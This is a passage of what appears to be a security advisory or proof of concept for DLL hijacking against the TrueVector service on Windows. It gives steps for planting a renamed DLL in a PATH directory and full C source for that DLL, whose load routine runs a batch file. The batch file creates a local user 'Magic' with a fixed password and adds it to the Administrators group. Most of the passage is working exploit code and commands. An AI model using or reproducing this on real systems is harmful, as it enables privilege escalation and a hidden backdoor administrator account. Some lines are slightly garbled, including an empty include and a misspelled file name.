1. Download from
http://reedarvin.thearvins.com/tools/magic.zip or compile your own using the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dlll and
magic.bat files to your
chosen directory
listed in the Windows PATH environment
variable.
5. Restart the machine.
6. When the TrueVector service starts up it will
create a new user account named
Magic with a password of M@g1c$$ and add it to
the local
Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll
-W1,--out-implib,libkernel32.a magic.o
#include
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD
fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir,
_MAX_PATH );
wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c
magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======